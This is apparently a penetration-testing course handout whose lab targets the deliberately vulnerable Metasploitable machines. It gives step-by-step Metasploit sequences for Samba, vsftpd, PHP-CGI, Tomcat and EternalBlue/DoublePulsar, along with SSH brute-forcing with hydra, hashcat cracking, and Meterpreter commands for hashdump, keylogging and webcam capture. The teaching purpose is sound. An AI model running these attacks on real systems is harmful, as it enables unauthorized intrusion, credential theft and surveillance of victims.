HO# 2.5: Exploitation & Gaining Access

This section outlines the phases of penetration testing and key concepts related to vulnerabilities and exploits.

Phase 1- Reconnaissance and Information Gathering

- Initial step involving collecting public information about the target to identify vulnerabilities.
- **Passive information gathering** minimizes detection risk.
- **Open-Source Intelligence (OSINT)** uses publicly available sources.
- Techniques include **Web Scraping, Google Dorking, and social media profiling**.
- Tools used: host, nslookup, dig, whois, knockpy, netdiscover, traceroute, whatweb, theHarvester, sherlock, wfw00f, Google Dorking, and the OSINT framework.

Phase 2- Scanning and Vulnerability Analysis

- Discovers open ports, services, OS, and other information to identify potential vulnerabilities.
- Considered **active information gathering** due to direct interaction.
- Requires written permission from the system owner.
- Tools used: nmap, searchsploit, nessus, OpenVAS, and MSF.

Phase 3- Exploitation and Gaining Access

- Exploits identified weaknesses to gain unauthorized access.
- Methods include: exploiting known vulnerabilities, default configurations, brute-forcing, social engineering, and phishing.
- Tools include: MSF, Exploit DB, Burp Suite, SQLmap, BeEF, Social Engineering Toolkit, Cobalt Strike, and PowerSploit.

Vulnerability, Malware, Exploit, Payload, and Shell Code

- **Vulnerability**: Weakness exploitable to compromise CIA Triad.
- **Malware**: Self-contained executable designed to harm.
- **Exploit**: Code that leverages a vulnerability to gain access.

Shellcode vs. Payload

| Feature | Shellcode | Payload | | ---------- | ---------- | ---------- | | Definition | Small, standalone executable code | Code delivered via exploit to perform a specific action. | | Purpose | Typically spawn a shell or execute commands | Can perform data exfiltration, malware installation, etc. | | Complexity | Compact and self-contained | Can be complex. | | Execution Context | Executed within a vulnerable application | Delivered through various means. | | Types | Local and remote shellcode | Command execution, information gathering, RATs, downloaders, ransomwares. |

Environment Setup

- Kali Linux (Attacker Machine)
- Metasploitable 2 (Linux based target)
- Metasploitable3 (Windows based target)

Recap of MSF and msfconsole

- Metasploit Framework provides tools for discovering and exploiting vulnerabilities.
- MSF files are located in `/usr/share/metasploit-framework/`.
- Modules (exploits, auxiliary, post, payloads, encoders, nops, evasion) reside under `/usr/share/metasploit-framework/modules/`.
- **Exploit modules** contain scripts for exploiting specific vulnerabilities.
- `msfconsole` commands: `help`, `banner`, `exit/quit`, `show`, `search`, `info`, `use`, `show options`, `show advanced`, `show payloads`, `show targets`, `set`, `unset`, `setg`, `run`.

Exploiting Default configurations/Credentials/Info Disclosure

Exploiting Banner of Telnet Service

- Nmap can identify the telnet service running on port 23 of Metasploitable2.
- Telnet banner may display sensitive information (info disclosure), like default credentials (msfadmin/msfadmin).
- The telnet banner is configured in `/etc/issue.net` on M2.

Exploiting Banner of Apache Server

- Nmap reveals Apache httpd 2.2.8 running on port 80 of Metasploitable2.
- Accessing `http://<ip of M2>:80` might display a page with default login information (msfadmin/msfadmin).
- `curl` can also be used to check the banner from the command line.

Exploiting Bind Shell

- Nmap might show a bindshell service running on port 1524 of Metasploitable2.
- Connect to the bindshell using `nc <ip of M2> 1524` to gain root access.

Exploiting Vulnerable Samba 3.0.20

- Samba is a free software re-implementation of the SMB networking protocol, used for shared access to files and printers. NetBIOS, utilizing ports 137, 138, and 139, is used by Windows systems for resource sharing.
- Nmap can identify the Samba service, but might not show the exact version. Use `auxiliary/scanner/smb/smb_version` in `msfconsole` to determine the version.

- **`searchsploit`** or `msfconsole search` can be used to find exploits for specific Samba versions (e.g., `samba 3.0.20`).
- The `exploit/multi/samba/usermap_script` module can exploit Samba 3.0.20.
- Use `show options` to view and `set` to configure options like `RHOSTS` and `payload`. The default payload is `cmd/unix/reverse_netcat`. `LHOSTS` and `LPORT` are automatically configured.
- Run the exploit with the `run` command after setting the required options.

Exploiting Vulnerable vsftpd 2.3.4

- FTP is used for transferring files, but transmits data in plain text, making it vulnerable. VSFTPD includes security features like SSL/TLS.
- Nmap can identify the vsftpd service running on port 21.
- `searchsploit` or `nmap -p 21 --script vuln <ip of M2>` can be used to check for vulnerabilities.
- The `exploit/unix/ftp/vsftpd_234_backdoor` module exploits a specific backdoor in vsftpd 2.3.4.
- No payload is configured by default; it defaults to `cmd/unix/interact`. Set parameters using `show options` and `set`, then run the exploit.

Exploiting apache2.2.8 and PHP 5.2.4 on Metasploitable2

- The target machine is running **Apache httpd 2.2.8** and **PHP 5.2.4**.
- `searchsploit apache 2.2.8` can identify potential vulnerabilities.
- The `exploit/multi/http/php_cgi_arg_injection` module can be used.
- `show options` and `show payloads` display available options.
- Set `RHOSTS` to the target IP and select a `payload`.
- `run` executes the exploit, potentially granting a meterpreter session with `www-data` privileges.
- **Meterpreter** is an advanced payload using in-memory DLL injection.

Launching a Brute Force Attack on SSH Service of Metasploitable2

- OpenSSH 4.7p1 is running on port 22.
- `nmap -p 22 --script vuln <ip of M2>` checks for vulnerabilities. While the service is not vulnerable in itself, weak credentials are the point of entry.
- **Brute force attacks** can be launched against the SSH service.

Offline vs Online Password Attacks:

- **Offline attacks** involve cracking obtained password hashes. Tools: **hashcat, John the Ripper**.
- **Online attacks** target the authentication process in real-time. Tools: **hydra, medusa**.

Common Password Cracking Techniques:

- **Brute Force Attack:** Tries many username/password combinations. Effective against weak passwords. Key space is calculated based on the character set and length. E.g., if the password is alphanumeric (62 chars) and 8 chars long, the key space is 62^8.
- **Dictionary Attack:** Uses dictionary words, potentially padded.
- **Rainbow Tables:** Precomputed password hashes. Ineffective against salted hashes.
- **Man-In-The-Middle Attack:** Intercepts communication.
- **Keyloggers:** Record keystrokes.

Hands on Practice in Offline Password Cracking using hashcat

- **Hashcat** is a password-cracking tool used to recover password hashes. **John the Ripper** is another such tool.
- Example: Cracking an MD5 hash stored in `hash.txt` using a dictionary attack.
- Command: `$ hashcat -m 0 -a 0 hash.txt wordlist.txt` (-m specifies the hash type. -a specifies the attack mode).
- Hashcat may identify previously cracked hashes in `~/.local/share/hashcat/hashcat.potfile`.

Hands on Practice in Online Password Cracking using Hydra

- **Hydra** is used for online password cracking.
- Example: Brute-forcing the SSH service on Metasploitable2 with username and password lists.
- Command: `$ hydra -L usernames.txt -P passwords.txt ssh://<ip of M2>`
- Options include `-L` (userlist), `-P` (passwordlist).

Hands on Practice in Online Password Cracking using MSF

- Metasploitable2 has weak credentials.
- MSF can be used to brute-force the SSH service.
- Module: `auxiliary/scanner/ssh/ssh_login`
- Options: `RHOSTS`, `USER_FILE`, `PASS_FILE`, `BRUTEFORCE_SPEED`, `VERBOSE`
- Command sequence: `msf6> use auxiliary/scanner/ssh/ssh_login msf6 auxiliary(scanner/ssh/ssh_login)> set RHOSTS <IP> msf6 auxiliary (scanner/ssh/ssh_login)> set USER_FILE /home/kali/usernames.txt msf6 auxiliary (scanner/ssh/ssh_login)> set PASS_FILE /home/kali/passwords.txt msf6 auxiliary (scanner/ssh/ssh_login)> set BRUTEFORCE_SPEED 5 msf6 auxiliary (scanner/ssh/ssh_login)> set VERBOSE true msf6 auxiliary (scanner/ssh/ssh_login)> run`
- Successful login opens a shell in the background, accessible via `sessions -i <session_id>`.

Exploiting Vulnerable Tomcat Service on Metasploitable2

- The auxiliary module `auxiliary/scanner/http/tomcat_mgr_login` is used to scan for Tomcat Manager login.
- The exploit `exploit/multi/http/tomcat_mgr_deploy` deploys files to the Tomcat /manager directory.
- Options: `HttpUsername`, `HttpPassword`, `RHOSTS`, `RPORT`
- Command sequence: `msf6> use auxiliary/scanner/http/tomcat_mgr_login msf6 auxiliary(scanner/http/tomcat_mgr_login)> set RHOSTS <IP of M2> msf6 auxiliary(scanner/http/tomcat_mgr_login)> set RPORT 8180 msf6 auxiliary(scanner/http/tomcat_mgr_login)> set USERNAME tomcat msf6 auxiliary(scanner/http/tomcat_mgr_login)> set PASSWORD tomcat msf6 auxiliary(scanner/http/tomcat_mgr_login)> run msf6> use exploit/multi/http/tomcat_mgr_deploy msf6 exploit(multi/http/tomcat_mgr_deploy)> set HttpPassword tomcat msf6 exploit(multi/http/tomcat_mgr_deploy)> set HttpUsername tomcat msf6 exploit(multi/http/tomcat_mgr_deploy)> set RHOSTS <M2> msf6 exploit(multi/http/tomcat_mgr_deploy)> set RPORT 8180 msf6 exploit(multi/http/tomcat_mgr_deploy)> run`
- Successful exploitation grants a meterpreter session.
- **Meterpreter** is an in-memory DLL injection payload.

Further Exploration on Metasploitable2

- Students are encouraged to explore and exploit the following vulnerable services on Metasploitable2:
  - **UnrealIRCd** (port 6667)
  - **distccd** (port 3632)
  - **VNC** (port 5900)
  - **SMTP** (port 25)
  - **PostgreSQL** (port 5432)
  - **Telnet** (port 23), using brute-force attacks.

Attacking Windows Machine (Metasploitable3)

- The focus shifts to exploiting vulnerabilities on Windows (Metasploitable3, specifically Windows2000 R8).
- **EternalBlue** is an exploit that targets a vulnerability (CVE-2017-0144) in Microsoft's SMB protocol.
- It allows remote code execution on vulnerable systems without user interaction.
- Command: `$ sudo nmap -sV 10.0.2.15 -p-` is used to scan for vulnerable services, including NetBIOS.
- The `netbios-ssn` service is highlighted as a target for EternalBlue.

Exploiting NetBIOS/SMB using EternalBlue

- MSF is used to search for the `eternalblue` vulnerability.

- The auxiliary module `auxiliary/scanner/smb/smb_ms17_010` is used to scan for the MS17-010 vulnerability.
- Command sequence: `msf6> use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(scanner/smb/smb_ms17_010)> show options msf6 auxiliary(scanner/smb/ms17_010)> set RHOST <IP of M3> msf6 auxiliary(scanner/smb/ms17_010)> run`
- If the target is vulnerable, the exploit `exploit/windows/smb/ms17_010_eternalblue` is used.
- Command sequence: `msf6> use exploit/windows/smb/ms17_010_eternalblue msf6 exploit(windows/smb/ms17_010_eternalblue)> show options msf6 exploit(windows/smb/ms17_010_eternalblue)> set RHOST <IP of M3> msf6 exploit(windows/smb/ms17_010_eternalblue)> run`
- Successful exploitation grants a meterpreter session with `NT AUTHORITY\SYSTEM` privileges.

Exploiting NetBIOS/SMB using EternalBlue DoublePulsar

- **DoublePulsar** is a kernel-mode backdoor that can be installed after a system is compromised (e.g., by EternalBlue).
- It allows persistent access and execution of additional payloads.
- **Wine** is required to run DoublePulsar, which is a Windows application.
- Command: `# dpkg --add-architecture i386 && apt-get update && apt-get install wine32`
- Command: `# wine msiexec /i python-2.7.14.msi` is an example to run an windows application.
- The `eternalblue-doublepulsar.rb` file and `deps` directory need to be downloaded and copied to the appropriate MSF modules directories:
  - `$ git clone https://github.com/w0rtw0rt/EternalBlue`
  - `$ sudo cp eternalblue-doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb`
  - `$ sudo cp -r deps/ /usr/share/metasploit-framework/modules/exploits/windows/smb`
  - `$ cp -r deps/ /home/kali`
  - `$ cp eternalblue-doublepulsar.rb /home/kali`

Exploiting NetBIOS/SMB using EternalBlue DoublePulsar (Continued)

- After copying the necessary files, run `msfconsole` and use the `exploit/windows/smb/eternalblue_doublepulsar` exploit.
- Required parameters are set, including `RHOSTS`, `TARGETARCHITECTURE`, `payload`, `PROCESSINJECT`, `DOUBLEPULSARPATH`, `ETERNALBLUEPATH`, and `WINEPATH`.
- **Successful exploitation results in a meterpreter console.**
- **DoublePulsar is a non-persistent, in-memory backdoor.** Regaining access after a reboot requires re-exploitation with EternalBlue or deploying a persistent payload.

What is Meterpreter?

- **Meterpreter is a Metasploit attack payload deployed using in-memory DLL injection, residing entirely in memory.**
- It offers more capabilities than a simple command shell.
- Characteristics:
  - **Stealthy**: Resides in memory, no disk writes, injects into compromised processes, encrypted communications.
  - **Powerful**: Uses a channelized communication system.
  - **Extensible**: Features are loaded over the network at runtime.
- Familiarize with Meterpreter commands, including `help`, `cd`, `pwd`, `ls`, `search`, `cat`, `edit`, `hashdump`, `sysinfo`, `download`, `upload`, `shell`, `execute`, `ps`, `kill`, `reboot/shutdown`, `screenshot`, `webcam_snap`, `record_mic`, `keyscan_start`, `keyscan_dump`, `keyscan_stop`, `ipconfig`, `arp`, `netstat`, `background`, `sessions`, `getuid`, `getsystem`.

To Do:

- Students should try using the mentioned meterpreter commands.
- Attempt a meterpreter challenge on https://tryhackme.com.